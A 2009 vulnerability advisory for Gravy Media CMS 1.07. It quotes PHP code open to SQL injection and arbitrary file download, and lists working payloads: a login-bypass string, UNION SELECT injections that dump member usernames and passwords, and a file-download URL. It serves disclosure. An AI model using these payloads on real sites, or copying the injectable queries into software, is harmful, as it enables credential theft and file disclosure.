Gravy Media CMS 1.07 SQL Injection

🗓️ 30 Mar 2009 00:00:00Reported by X0rType
packetstorm🔗 packetstormsecurity.com👁 16 Views
Gravy Media CMS 1.07 SQL Injection & Arbitrary File Downloa
`#########################################################################################  
[0x01] Informations:  
Name : Gravy Media Cms 1.07  
Download : http://www.gravy-media.com/downloads.php  
Vulnerability : Multiple Sql Injections & Arbitrary File Download  
Author : x0r  
Contact : [email protected]  
Notes : Proud To Be Italian  
Greetz : //  
#########################################################################################  
[0x02] Bug:  
Bugged file is /[path]/login.php [..] viewmsg.php [..] rate.php [..]forcedownload.php  
  
[code]  
//IF SUBMIT PRESSED FOR LOGIN   
if(isset($_POST['submit'])) {  
  
$get_app = mysql_query("SELECT * FROM `members` WHERE username = '".$_POST['username']."' AND   
user_password = '".md5($_POST['password'])."'");  
[/code]  
  
[code]  
//you've to be logged  
//We need to grab the msg_id variable from the URL.  
$msg_id = $_REQUEST['msg_id'];  
  
//Get all of the information about the message with and id number of the one sent through the URL  
$view_msg = mysql_query("SELECT * FROM messages WHERE id = '$msg_id'");  
$msg = mysql_fetch_array($view_msg);  
  
[/code]  
  
[code]  
  
include "connect.php";  
$action = $_GET["action"];  
if (!$action)  
$action = $_POST["action"];  
  
//print"action = $action";  
  
if ($action == "rate"){  
$filename = $_GET["file"];  
$getcount = mysql_query("SELECT * FROM files WHERE image='$filename'");   
[/code]  
  
[code]  
  
  
$filename = $_GET['file'];  
  
//Huge thank you to eLouai for this simple but powerful add-on  
  
// required for IE, otherwise Content-disposition is ignored  
if(ini_get('zlib.output_compression'))  
ini_set('zlib.output_compression', 'Off');  
  
// addition by Jorg Weske  
$file_extension = strtolower(substr(strrchr($filename,"."),1));  
  
if( $filename == "" )   
{  
echo "<html><title>eLouai's Download Script</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>";  
exit;  
} elseif ( ! file_exists( $filename ) )   
{  
echo "<html><title>eLouai's Download Script</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>";  
exit;  
};  
switch( $file_extension )  
{  
case "pdf": $ctype="application/pdf"; break;  
case "exe": $ctype="application/octet-stream"; break;  
case "zip": $ctype="application/zip"; break;  
case "doc": $ctype="application/msword"; break;  
case "xls": $ctype="application/vnd.ms-excel"; break;  
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;  
case "gif": $ctype="image/gif"; break;  
case "png": $ctype="image/png"; break;  
case "jpeg":  
case "jpg": $ctype="image/jpg"; break;  
default: $ctype="application/force-download";  
}  
header("Pragma: public"); // required  
header("Expires: 0");  
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");  
header("Cache-Control: private",false); // required for certain browsers   
header("Content-Type: $ctype");  
// change, added quotes to allow spaces in filenames, by Rajkumar Singh  
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );  
header("Content-Transfer-Encoding: binary");  
header("Content-Length: ".filesize($filename));  
readfile("$filename");  
exit();  
  
[/code]  
  
#########################################################################################  
[0x03] Exploits:  
1- admin' or ' 1=1--  
2- [LoginRequired] http://site.it/viewmsg.php?msg_id=' union select 0,0,0,concat(username,char(54),user_password),0,0 from members--  
3- http://site.it/rate.php?action=rate&file=' union select 0,0,0,concat(username,user_password),0,0 from members--  
4- http://site.it/forcedownload.php?file=[file]  
########################################################################################  
  
`
30 Mar 2009 00:00Current
1.2Low risk
Vulners AI Score1.2